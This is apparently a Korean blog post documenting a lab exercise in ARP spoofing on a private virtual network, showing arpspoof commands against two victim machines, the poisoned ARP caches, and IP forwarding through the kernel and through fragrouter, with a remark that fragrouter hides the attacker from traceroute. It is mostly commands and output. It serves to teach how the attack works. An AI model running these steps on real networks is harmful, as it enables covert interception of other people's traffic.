실습> ARP spoofing
ARP Spoofing : 내부망에서 사용되는 공격
Victim1(WinXP) : 192.168.108.105, 00:0c:29:0e:30:1e
Victim2(CentOS7) : 192.168.108.100, 00:0c:29:1c:3a:76
Attacker(Kali) : 192.168.108.102, 00:0c:29:e6:4d:4a
MAC 주소 확인하는 방법
Linux : ifconfig, ip a
Windows : ipconfig /all
ARP 캐쉬 테이블 확인하는 방법
Linux : arp -a, arp -n
Windows : arp -a
1. 방화벽 중지
Victim1, Victim2에서 방화벽을 비활성화 시킨다.
Linux(CentOS7) :
systemctl stop firewalld
systemctl disable firewalld
iptables -F
iptables -nL
iptables -t -nat -nL
Victim1(WinXP) : firewall.cpl -> 사용안함
2. 패키지 다운로드
dsniff : arpspoof 명령어가 저장된 패키지
최신 Kali 에서는 dsniff 패키지가 없으므로 이를 설치한다.
Attacker# cat /etc/resolv.conf
# Generated by NetworkManager
nameserver 168.126.63.1
Attacker# apt -y install dsniff
3. ARP 캐쉬 테이블 확인
Windows XP에서 CentOS 7으로 ping을 날려서 MAC주소를 얻어온다.
C:\> ping 192.168.108.100
Pinging 192.168.108.100 with 32 bytes of data:
Reply from 192.168.108.100: bytes=32 time<1ms TTL=64
Reply from 192.168.108.100: bytes=32 time<1ms TTL=64
Reply from 192.168.108.100: bytes=32 time<1ms TTL=64
Reply from 192.168.108.100: bytes=32 time<1ms TTL=64
Ping statistics for 192.168.108.100:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
C:\>arp -a
Interface: 192.168.108.105 --- 0x2
Internet Address Physical Address Type
192.168.108.100 00-0c-29-1c-3a-76 dynamic <-- Victim2(CentOS7)
Victim2# arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.108.102 ether 00:0c:29:e6:4d:4a C ens33
192.168.108.105 ether 00:0c:29:0e:30:1e C ens33 <-- Victim1(XP)
192.168.108.2 ether 00:50:56:e2:02:72 C ens33
192.168.108.1 ether 00:50:56:c0:00:08 C ens33
4. ARP Spoofing 공격
arpspoof -t Victim 속일IP주소
공격 형태
[Victim1(WinXP)] <-- 192.168.108.100 [Attacker] 192.168.108.105 --> [Victim2(CentOS7)]
192.168.108.105 192.168.108.102 192.168.108.100
00:0c:29:0e:30:1e 00:0c:29:e6:4d:4a 00:0c:29:1c:3a:76
Attacker# arpspoof
Version: 2.4
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
Attacker -> Victim1으로 공격
Victim1에게 192.168.108.100이라고 속이는 ARP reply 패킷을 전송한다.
Attacker# arpspoof -t 192.168.108.105 192.168.108.100
0:c:29:e6:4d:4a 0:c:29:e:30:1e 0806 42: arp reply 192.168.108.100 is-at 0:c:29:e6:4d:4a
0:c:29:e6:4d:4a 0:c:29:e:30:1e 0806 42: arp reply 192.168.108.100 is-at 0:c:29:e6:4d:4a
0:c:29:e6:4d:4a 0:c:29:e:30:1e 0806 42: arp reply 192.168.108.100 is-at 0:c:29:e6:4d:4a
0:c:29:e6:4d:4a 0:c:29:e:30:1e 0806 42: arp reply 192.168.108.100 is-at 0:c:29:e6:4d:4a
0:c:29:e6:4d:4a 0:c:29:e:30:1e 0806 42: arp reply 192.168.108.100 is-at 0:c:29:e6:4d:4a
:
:(생략) <-- 공격을 멈추면 안되고 계속 ARP Reply 패킷을 보내야 한다.
공격을 당하고 있는 Windows XP에서 변경된 MAC주소를 확인한다.
C:\>arp -a
Interface: 192.168.108.105 --- 0x2
Internet Address Physical Address Type
192.168.108.100 00-0c-29-e6-4d-4a dynamic <-- 변조가 된 MAC주소
192.168.108.102 00-0c-29-e6-4d-4a dynamic
Attacker -> Victim2로 공격
Victim2에게 192.168.108.105라고 속이는 ARP reply 패킷을 전송한다.
Attacker# arpspoof -t 192.168.108.100 192.168.108.105
0:c:29:e6:4d:4a 0:c:29:1c:3a:76 0806 42: arp reply 192.168.108.105 is-at 0:c:29:e6:4d:4a
0:c:29:e6:4d:4a 0:c:29:1c:3a:76 0806 42: arp reply 192.168.108.105 is-at 0:c:29:e6:4d:4a
0:c:29:e6:4d:4a 0:c:29:1c:3a:76 0806 42: arp reply 192.168.108.105 is-at 0:c:29:e6:4d:4a
0:c:29:e6:4d:4a 0:c:29:1c:3a:76 0806 42: arp reply 192.168.108.105 is-at 0:c:29:e6:4d:4a
0:c:29:e6:4d:4a 0:c:29:1c:3a:76 0806 42: arp reply 192.168.108.105 is-at 0:c:29:e6:4d:4a
:
:(생략) <-- 공격을 멈추면 안되고 계속 ARP Reply 패킷을 보내야 한다.
공격을 당하고 있는 CentOS 7 에서 변경된 MAC주소를 확인한다.
Victim2# arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.108.102 ether 00:0c:29:e6:4d:4a C ens33
192.168.108.105 ether 00:0c:29:e6:4d:4a C ens33 <-- 변조가 된 MAC주소
192.168.108.2 ether 00:50:56:e2:02:72 C ens33
192.168.108.1 ether 00:50:56:c0:00:08 C ens33
5. 문제점 확인
Attacker가 Victim1(Windows XP)에게 ARP Reply 패킷을 던져서 Victim2(Windows XP)의 MAC주소가
변경이 되었기 때문에 Victim1에서 보낸 ping 패킷이 Attacker 쪽으로 가고
Attacker가 포워딩을 해주지 않았기 때문에 통신이 안되므로 Request Timed out. 이 발생한 것이다.
C:\>arp -a
Interface: 192.168.108.105 --- 0x2
Internet Address Physical Address Type
192.168.108.100 00-0c-29-e6-4d-4a dynamic
C:\>ping 192.168.108.100
Pinging 192.168.108.100 with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Ping statistics for 192.168.108.100:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
Attacker가 Victim2(CentOS7)에게 ARP Reply 패킷을 던져서 Victim2(CentOS7)의 MAC주소가
변경이 되었기 때문에 Victim2에서 보낸 ping 패킷이 Attacker 쪽으로 가고
Attacker가 포워딩을 해주지 않았기 때문에 통신이 안되므로 Request Timed out. 이 발생한 것이다.
Victim2# ping -c 4 192.168.108.105
PING 192.168.108.105 (192.168.108.105) 56(84) bytes of data.
--- 192.168.108.105 ping statistics ---
4 packets transmitted, 0 received, 100% packet loss, time 3001ms
6. 패킷 포워딩
Victim1에서 받은 패킷을 Victim2로 포워딩하고 Victim2에서 온 패킷을 Victim1으로 전달해주는 역할을 한다.
패킷 포워딩 방식 첫 번째 방법 : 커널 설정
패킷 포워딩 방식 두 번째 방법 : 프로그램을 실행시켜서 설정
[Victim1(WinXP)] <-- 192.168.108.100 [Attacker] 192.168.108.105 --> [Victim2(CentOS7)]
192.168.108.105 192.168.108.102 192.168.108.100
00:0c:29:0e:30:1e 00:0c:29:e6:4d:4a 00:0c:29:1c:3a:76
포워딩 방식 첫 번째 방법 : 커널 포워딩
커널 포워딩
- 영구적 설정 : /etc/sysctl.conf 수정
- 임시적 설정 : /proc/sys/net/ipv4/ip_forward 수정
영구적 설정 :
Attacker# vi /etc/sysctl.conf
# Uncomment the next line to enable packet forwarding for IPv4
net.ipv4.ip_forward=1
Attacker# sysctl -p
임시적 설정 :
Attacker# echo 1 > /proc/sys/net/ipv4/ip_forward
최종 forwarding 확인은 /proc/sys/net/ipv4/ip_forward 부분에 1로 설정되어 있으면 된다.
Attacker# cat /proc/sys/net/ipv4/ip_forward
1
7. 통신 확인
Victim1 -> Victim2로 통신 확인 :
포워딩 설정 후 통신이 잘 되는지 확인한다.
C:\>arp -a
Interface: 192.168.108.105 --- 0x2
Internet Address Physical Address Type
192.168.108.100 00-0c-29-e6-4d-4a dynamic
C:\>ping 192.168.108.100
Pinging 192.168.108.100 with 32 bytes of data:
Reply from 192.168.108.100: bytes=32 time=23ms TTL=63
Reply from 192.168.108.100: bytes=32 time=2ms TTL=63
Reply from 192.168.108.100: bytes=32 time<1ms TTL=63
Reply from 192.168.108.100: bytes=32 time<1ms TTL=63
Ping statistics for 192.168.108.100:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 23ms, Average = 6ms
Victim2 -> Victim1으로 통신 확인 :
포워딩 설정 후 통신이 잘 되는지 확인한다.
Victim2# arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.108.102 ether 00:0c:29:e6:4d:4a C ens33
192.168.108.105 ether 00:0c:29:e6:4d:4a C ens33
192.168.108.2 ether 00:50:56:e2:02:72 C ens33
192.168.108.1 ether 00:50:56:c0:00:08 C ens33
Victim2# ping -c 4 192.168.108.105
PING 192.168.108.105 (192.168.108.105) 56(84) bytes of data.
From 192.168.108.102: icmp_seq=1 Redirect Host(New nexthop: 192.168.108.105)
64 bytes from 192.168.108.105: icmp_seq=1 ttl=127 time=19.9 ms
From 192.168.108.102: icmp_seq=2 Redirect Host(New nexthop: 192.168.108.105)
64 bytes from 192.168.108.105: icmp_seq=2 ttl=127 time=0.717 ms
From 192.168.108.102: icmp_seq=3 Redirect Host(New nexthop: 192.168.108.105)
64 bytes from 192.168.108.105: icmp_seq=3 ttl=127 time=3.15 ms
From 192.168.108.102: icmp_seq=4 Redirect Host(New nexthop: 192.168.108.105)
64 bytes from 192.168.108.105: icmp_seq=4 ttl=127 time=0.937 ms
--- 192.168.108.105 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 0.717/6.195/19.970/8.010 ms
Victim2에서 traceroute 로 확인
traceroute 로 확인해보면 192.168.108.102를 거쳐서 패킷이 192.168.108.105로 전달되는 것을 확인할 수 있다.
커널 포워딩을 이용한 자신이 노출된다.
Victim2# yum -y install traceroute
Victim2# traceroute -n 192.168.108.105
traceroute to 192.168.108.105 (192.168.108.105), 30 hops max, 60 byte packets
1 192.168.108.102 0.402 ms 0.315 ms 0.285 ms
2 192.168.108.105 0.497 ms 0.452 ms 0.306 ms
Victim1에서 tracert 로 확인
tracert 로 확인해보면 192.168.108.102를 거쳐서 패킷이 192.168.108.100로 전달되는 것을 확인할 수 있다.
커널 포워딩을 이용한 자신이 노출된다.
C:\>tracert -d 192.168.108.100
Tracing route to 192.168.108.100 over a maximum of 30 hops
1 <1 ms <1 ms <1 ms 192.168.108.102
2 <1 ms <1 ms <1 ms 192.168.108.100
Trace complete.
8. 패킷 포워딩
Victim1에서 받은 패킷을 Victim2로 포워딩하고 Victim2에서 온 패킷을 Victim1으로 전달해주는 역할을 한다.
패킷 포워딩 방식 첫 번째 방법 : 커널 설정
패킷 포워딩 방식 두 번째 방법 : 프로그램을 실행시켜서 설정
[Victim1(WinXP)] <-- 192.168.108.100 [Attacker] 192.168.108.105 --> [Victim2(CentOS7)]
192.168.108.105 192.168.108.102 192.168.108.100
00:0c:29:0e:30:1e 00:0c:29:e6:4d:4a 00:0c:29:1c:3a:76
포워딩 방식 두 번째 방법 : fragrouter
커널 포워딩을 Off로 설정한다.
- 영구적 설정 : /etc/sysctl.conf 수정
- 임시적 설정 : /proc/sys/net/ipv4/ip_forward 수정
영구적 설정 해제 :
Attacker# vi /etc/sysctl.conf
# Uncomment the next line to enable packet forwarding for IPv4
#net.ipv4.ip_forward=1
임시적 설정 해제 :
Attacker# echo 0 > /proc/sys/net/ipv4/ip_forward
최종 forwarding 확인은 /proc/sys/net/ipv4/ip_forward 부분에 0으로 설정되어 있으면 된다.
Attacker# cat /proc/sys/net/ipv4/ip_forward
0
최신 Kali에서는 fragrouter 명령어가 없으므로 apt로 패키지를 설치한다.
Attacker# apt -y install fragrouter
fragrouter의 도움말을 확인한다.
Attacker# fragrouter
Version 1.6
Usage: fragrouter [-i interface] [-p] [-g hop] [-G hopcount] ATTACK
where ATTACK is one of the following:
-B1: base-1: normal IP forwarding
:
:(생략)
fragrouter -B1을 실행시켜서 소프트웨어 포워딩을 설정한다.
Attacker# fragrouter -B1
fragrouter: base-1: normal IP forwarding
9. 통신 확인
Victim1 -> Victim2로 통신 확인 :
포워딩 설정 후 통신이 잘 되는지 확인한다.
C:\>arp -a
Interface: 192.168.108.105 --- 0x2
Internet Address Physical Address Type
192.168.108.100 00-0c-29-e6-4d-4a dynamic
C:\>ping 192.168.108.100
Pinging 192.168.108.100 with 32 bytes of data:
Reply from 192.168.108.100: bytes=32 time=23ms TTL=63
Reply from 192.168.108.100: bytes=32 time=2ms TTL=63
Reply from 192.168.108.100: bytes=32 time<1ms TTL=63
Reply from 192.168.108.100: bytes=32 time<1ms TTL=63
Ping statistics for 192.168.108.100:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 23ms, Average = 6ms
Victim2 -> Victim1으로 통신 확인 :
포워딩 설정 후 통신이 잘 되는지 확인한다.
Victim2# arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.108.102 ether 00:0c:29:e6:4d:4a C ens33
192.168.108.105 ether 00:0c:29:e6:4d:4a C ens33
192.168.108.2 ether 00:50:56:e2:02:72 C ens33
192.168.108.1 ether 00:50:56:c0:00:08 C ens33
Victim2# ping -c 4 192.168.108.105
PING 192.168.108.105 (192.168.108.105) 56(84) bytes of data.
64 bytes from 192.168.108.105: icmp_seq=1 ttl=128 time=2.09 ms
64 bytes from 192.168.108.105: icmp_seq=2 ttl=128 time=1.06 ms
64 bytes from 192.168.108.105: icmp_seq=3 ttl=128 time=0.747 ms
64 bytes from 192.168.108.105: icmp_seq=4 ttl=128 time=4.93 ms
--- 192.168.108.105 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 0.747/2.208/4.930/1.648 ms
Victim2에서 traceroute 로 확인
traceroute 로 확인해보면 192.168.108.105로 전달되는 것을 확인할 수 있다.
fragrouter 소프트웨어 포워딩을 이용하면 공격자가 노출되지 않는다.
Victim2# traceroute -n 192.168.108.105
traceroute to 192.168.108.105 (192.168.108.105), 30 hops max, 60 byte packets
1 192.168.108.105 1.981 ms 1.910 ms 1.756 ms
Victim1에서 tracert 로 확인
tracert 로 확인해보면 192.168.108.100으로 전달되는 것을 확인할 수 있다.
fragrouter 소프트웨어 포워딩을 이용하면 공격자가 노출되지 않는다.
C:\>tracert -d 192.168.108.100
Tracing route to 192.168.108.100 over a maximum of 30 hops
1 1 ms <1 ms 1 ms 192.168.108.100
Trace complete.
'Linux > 모의해킹' 카테고리의 다른 글
| arpspoof2.py 분석하기 (0) | 2022.01.08 |
|---|---|
| arpspoof 공격 스크립트 작성하기 (0) | 2022.01.06 |
| MAC 주소 변경하기 (0) | 2022.01.06 |
| 시스인터널스 툴 (Sysinternals Tools) (0) | 2022.01.05 |
| Windows 레지스트리 악성코드 등록 실습 (0) | 2022.01.05 |